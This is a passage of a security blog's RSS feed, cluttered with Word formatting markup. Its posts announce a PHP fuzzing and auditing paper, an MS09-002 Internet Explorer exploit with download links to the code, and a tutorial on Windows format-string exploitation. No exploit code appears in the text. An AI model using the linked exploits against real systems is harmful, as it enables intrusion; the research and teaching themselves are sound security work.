<p><!--[if gte mso 9]><xml> <o :OfficeDocumentSettings> <o :RelyOnVML /> <o :AllowPNG /> </o> </xml>< ![endif]--><!--[if gte mso 9]><xml> <w :WordDocument> </w><w :View>Normal</w> <w :Zoom>0</w> <w :TrackMoves /> <w :TrackFormatting /> <w :PunctuationKerning /> <w :ValidateAgainstSchemas /> <w :SaveIfXMLInvalid>false</w> <w :IgnoreMixedContent>false</w> <w :AlwaysShowPlaceholderText>false</w> <w :DoNotPromoteQF /> <w :LidThemeOther>EN-US</w> <w :LidThemeAsian>X-NONE</w> <w :LidThemeComplexScript>FA</w> <w :Compatibility> <w :BreakWrappedTables /> <w :SnapToGridInCell /> <w :WrapTextWithPunct /> <w :UseAsianBreakRules /> <w :DontGrowAutofit /> <w :SplitPgBreakAndParaMark /> <w :DontVertAlignCellWithSp /> <w :DontBreakConstrainedForcedTables /> <w :DontVertAlignInTxbx /> <w :Word11KerningPairs /> <w :CachedColBalance /> </w> <m :mathPr> <m :mathFont m:val="Cambria Math" /> <m :brkBin m:val="before" /> <m :brkBinSub m:val=" " /> <m :smallFrac m:val="off" /> <m :dispDef /> <m :lMargin m:val="0" /> <m :rMargin m:val="0" /> <m :defJc m:val="centerGroup" /> <m :wrapIndent m:val="1440" /> <m :intLim m:val="subSup" /> <m :naryLim m:val="undOvr" /> </m> </xml>< ![endif]--><!--[if gte mso 9]><xml> <w :LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"   DefSemiHidden="true" DefQFormat="false" DefPriority="99"   LatentStyleCount="267"> <w :LsdException Locked="false" Priority="0" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Normal" /> <w :LsdException Locked="false" Priority="9" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="heading 1" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9" /> <w :LsdException Locked="false" Priority="39" Name="toc 1" /> <w :LsdException Locked="false" Priority="39" Name="toc 2" /> <w :LsdException Locked="false" Priority="39" Name="toc 3" /> <w :LsdException Locked="false" Priority="39" Name="toc 4" /> <w :LsdException Locked="false" Priority="39" Name="toc 5" /> <w :LsdException Locked="false" Priority="39" Name="toc 6" /> <w :LsdException Locked="false" Priority="39" Name="toc 7" /> <w :LsdException Locked="false" Priority="39" Name="toc 8" /> <w :LsdException Locked="false" Priority="39" Name="toc 9" /> <w :LsdException Locked="false" Priority="35" QFormat="true" Name="caption" /> <w :LsdException Locked="false" Priority="10" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Title" /> <w :LsdException Locked="false" Priority="1" Name="Default Paragraph Font" /> <w :LsdException Locked="false" Priority="11" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtitle" /> <w :LsdException Locked="false" Priority="22" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Strong" /> <w :LsdException Locked="false" Priority="20" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Emphasis" /> <w :LsdException Locked="false" Priority="59" SemiHidden="false"    UnhideWhenUsed="false" Name="Table Grid" /> <w :LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text" /> <w :LsdException Locked="false" Priority="1" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="No Spacing" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 1" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 1" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 1" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 1" /> <w :LsdException Locked="false" UnhideWhenUsed="false" Name="Revision" /> <w :LsdException Locked="false" Priority="34" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="List Paragraph" /> <w :LsdException Locked="false" Priority="29" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Quote" /> <w :LsdException Locked="false" Priority="30" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Quote" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 1" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 1" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 1" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 1" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 1" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 2" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 2" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 2" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2" /><br />
<w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 2" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 2" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 2" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 2" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 2" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 2" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 3" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 3" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 3" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 3" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 3" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 3" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 3" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 3" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 3" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 4" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 4" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 4" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 4" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 4" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 4" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 4" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 4" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 4" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 5" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 5" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 5" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 5" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 5" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 5" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 5" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 5" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 5" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 6" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 6" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 6" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 6" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 6" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 6" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 6" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 6" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 6" /> <w :LsdException Locked="false" Priority="19" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis" /> <w :<br />
LsdException Locked="false" Priority="21" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis" /> <w :LsdException Locked="false" Priority="31" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference" /> <w :LsdException Locked="false" Priority="32" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Reference" /> <w :LsdException Locked="false" Priority="33" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Book Title" /> <w :LsdException Locked="false" Priority="37" Name="Bibliography" /> <w :LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading" /> </w> </xml>< ![endif]--><!--  /* Font Definitions */  @font-face 	{font-family:"Cambria Math"; 	panose-1:2 4 5 3 5 4 6 3 2 4; 	mso-font-charset:1; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:0 0 0 0 0 0;} @font-face 	{font-family:Calibri; 	panose-1:2 15 5 2 2 2 4 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-1610611985 1073750139 0 0 159 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-unhide:no; 	mso-style-qformat:yes; 	mso-style-parent:""; 	margin-top:0cm; 	margin-right:0cm; 	margin-bottom:10.0pt; 	margin-left:0cm; 	text-align:right; 	line-height:115%; 	mso-pagination:widow-orphan; 	direction:rtl; 	unicode-bidi:embed; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:Calibri; 	mso-fareast-theme-font:minor-latin; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:Arial; 	mso-bidi-theme-font:minor-bidi;} .MsoChpDefault 	{mso-style-type:export-only; 	mso-default-props:yes; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:Calibri; 	mso-fareast-theme-font:minor-latin; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:Arial; 	mso-bidi-theme-font:minor-bidi;} .MsoPapDefault 	{mso-style-type:export-only; 	margin-bottom:10.0pt; 	line-height:115%;} @page Section1 	{size:612.0pt 792.0pt; 	margin:72.0pt 72.0pt 72.0pt 72.0pt; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --><!--[if gte mso 10]> <mce :style>< !   /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-priority:99; 	mso-style-qformat:yes; 	mso-style-parent:""; 	mso-padding-alt:0cm 5.4pt 0cm 5.4pt; 	mso-para-margin-top:0cm; 	mso-para-margin-right:0cm; 	mso-para-margin-bottom:10.0pt; 	mso-para-margin-left:0cm; 	line-height:115%; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:"Times New Roman"; 	mso-fareast-theme-font:minor-fareast; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin;} --> <!--[endif]--><!--[if gte mso 9]><xml> <o :shapedefaults v:ext="edit" spidmax="1026" /> </xml>< ![endif]--><!--[if gte mso 9]><xml> <o :shapelayout v:ext="edit"> <o :idmap v:ext="edit" data="1" /> </o></xml>< ![endif]--></p>
<p>Here is some of future talk and topics may I add this article in next version:<br />
1-    More Real world Attack with Description<br />
2-    PHPIDS Defense.<br />
3-    More Dangerous Functions: CURL – socket – creat_function &amp; ….<br />
4-    Talk About pear functions and security of used.<br />
5-     Information About Books of PHP Securea Coding.<br />
6-     And ETC</p>
<p><strong>Download :</strong></p>
<p><strong><a href="http://abysssec.com/blog/wp-content/uploads/2009/03/php-fuzzing-auditing-version-10.pdf">php-fuzzing-auditing-version-1.0</a></strong></p>
<p>thanks.</p>
<p>Daphne</mce></p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/03/php_fuzz_audit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MS09-002 Exploit</title>
		<link>http://www.abysssec.com/blog/2009/02/ms09-002-exploit/</link>
		<comments>http://www.abysssec.com/blog/2009/02/ms09-002-exploit/#comments</comments>
		<pubDate>Thu, 19 Feb 2009 22:23:54 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=308</guid>
		<description><![CDATA[hello to all readers
i wrote this exploit 2 hour after publishing PoC on milw0rm
but now there is a lots of mirror and version of this exploit on net !
maybe i release  DEP-enabled / IE protection bypass version on variant os too .

Anyway Here is the code :
http://abysssec.com/blog/wp-content/uploads/2009/02/ms09-002-exploit.txt
mirror : http://milw0rm.com/exploits/8079

Cheers !!!
]]></description>
			<content:encoded><![CDATA[<p>hello to all readers</p>
<p>i wrote this exploit 2 hour after publishing PoC on milw0rm</p>
<p>but now there is a lots of mirror and version of this exploit on net !</p>
<p>maybe i release  DEP-enabled / IE protection bypass version on variant os too .</p>
<p style="text-align: center;"><img class="aligncenter" title="ms09-002 " src="http://www.abysssec.com/blog/wp-content/uploads/2009/02/ms09-002.png" alt="" width="500" height="342" /></p>
<p>Anyway Here is the code :</p>
<p><strong>http://abysssec.com/blog/wp-content/uploads/2009/02/ms09-002-exploit.txt</strong></p>
<p><strong>mirror : http://milw0rm.com/exploits/8079<br />
</strong></p>
<p>Cheers !!!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/02/ms09-002-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Format string exploitation on windows</title>
		<link>http://www.abysssec.com/blog/2009/02/format-string-exploitation-on-windows/</link>
		<comments>http://www.abysssec.com/blog/2009/02/format-string-exploitation-on-windows/#comments</comments>
		<pubDate>Mon, 02 Feb 2009 13:28:21 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[reversing]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=278</guid>
		<description><![CDATA[Hello
i know , i know i have a big absence about 2 month . but i,m back with a big update for you .
a step by step article about exploiting format string vulnerabilities on windows platform.


  
here is download link for this article :
http://abysssec.com/blog/wp-content/uploads/2009/02/fstring-exploit.pdf
feel free to send your questions to admin@abysssec.com&#124;NoSpam
Good Luck and Have [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">Hello</p>
<p style="text-align: left;">i know , i know i have a big absence about 2 month . but i,m back with a big update for you .</p>
<p style="text-align: left;">a step by step article about exploiting format string vulnerabilities on windows platform.</p>
<p><img class="alignnone" title="Format String" src="http://i44.tinypic.com/33w1ag8.jpg" alt="" width="700" height="400" /></p>
<p style="text-align: center;">
<p style="text-align: center;"><!--[if !mso]> <mce :style>< !  v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} --> <!--[endif]--><!--[if gte mso 9]><xml> <w :WordDocument> </w><w :View>Normal</w> <w :Zoom>0</w> <w :TrackMoves /> <w :TrackFormatting /> <w :PunctuationKerning /> <w :ValidateAgainstSchemas /> <w :SaveIfXMLInvalid>false</w> <w :IgnoreMixedContent>false</w> <w :AlwaysShowPlaceholderText>false</w> <w :DoNotPromoteQF /> <w :LidThemeOther>EN-US</w> <w :LidThemeAsian>X-NONE</w> <w :LidThemeComplexScript>AR-SA</w> <w :Compatibility> <w :BreakWrappedTables /> <w :SnapToGridInCell /> <w :WrapTextWithPunct /> <w :UseAsianBreakRules /> <w :DontGrowAutofit /> <w :SplitPgBreakAndParaMark /> <w :DontVertAlignCellWithSp /> <w :DontBreakConstrainedForcedTables /> <w :DontVertAlignInTxbx /> <w :Word11KerningPairs /> <w :CachedColBalance /> </w> <w :BrowserLevel>MicrosoftInternetExplorer4</w> <m :mathPr> <m :mathFont m:val="Cambria Math" /> <m :brkBin m:val="before" /> <m :brkBinSub m:val=" " /> <m :smallFrac m:val="off" /> <m :dispDef /> <m :lMargin m:val="0" /> <m :rMargin m:val="0" /> <m :defJc m:val="centerGroup" /> <m :wrapIndent m:val="1440" /> <m :intLim m:val="subSup" /> <m :naryLim m:val="undOvr" /> </m> </xml>< ![endif]--><!--[if gte mso 9]><xml> <w :LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"   DefSemiHidden="true" DefQFormat="false" DefPriority="99"   LatentStyleCount="267"> <w :LsdException Locked="false" Priority="0" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Normal" /> <w :LsdException Locked="false" Priority="9" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="heading 1" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8" /> <w :LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9" /> <w :LsdException Locked="false" Priority="39" Name="toc 1" /> <w :LsdException Locked="false" Priority="39" Name="toc 2" /> <w :LsdException Locked="false" Priority="39" Name="toc 3" /> <w :LsdException Locked="false" Priority="39" Name="toc 4" /> <w :LsdException Locked="false" Priority="39" Name="toc 5" /> <w :LsdException Locked="false" Priority="39" Name="toc 6" /> <w :LsdException Locked="false" Priority="39" Name="toc 7" /> <w :LsdException Locked="false" Priority="39" Name="toc 8" /> <w :LsdException Locked="false" Priority="39" Name="toc 9" /> <w :LsdException Locked="false" Priority="35" QFormat="true" Name="caption" /> <w :LsdException Locked="false" Priority="10" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Title" /> <w :LsdException Locked="false" Priority="1" Name="Default Paragraph Font" /> <w :LsdException Locked="false" Priority="11" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtitle" /> <w :LsdException Locked="false" Priority="22" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Strong" /> <w :LsdException Locked="false" Priority="20" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Emphasis" /> <w :LsdException Locked="false" Priority="59" SemiHidden="false"    UnhideWhenUsed="false" Name="Table Grid" /> <w :LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text" /> <w :LsdException Locked="false" Priority="1" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="No Spacing" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 1" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 1" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 1" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 1" /> <w :LsdException Locked="false" UnhideWhenUsed="false" Name="Revision" /> <w :LsdException Locked="false" Priority="34" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="List Paragraph" /> <w :LsdException Locked="false" Priority="29" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Quote" /> <w :LsdException Locked="false" Priority="30" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Quote" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 1" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1" /> 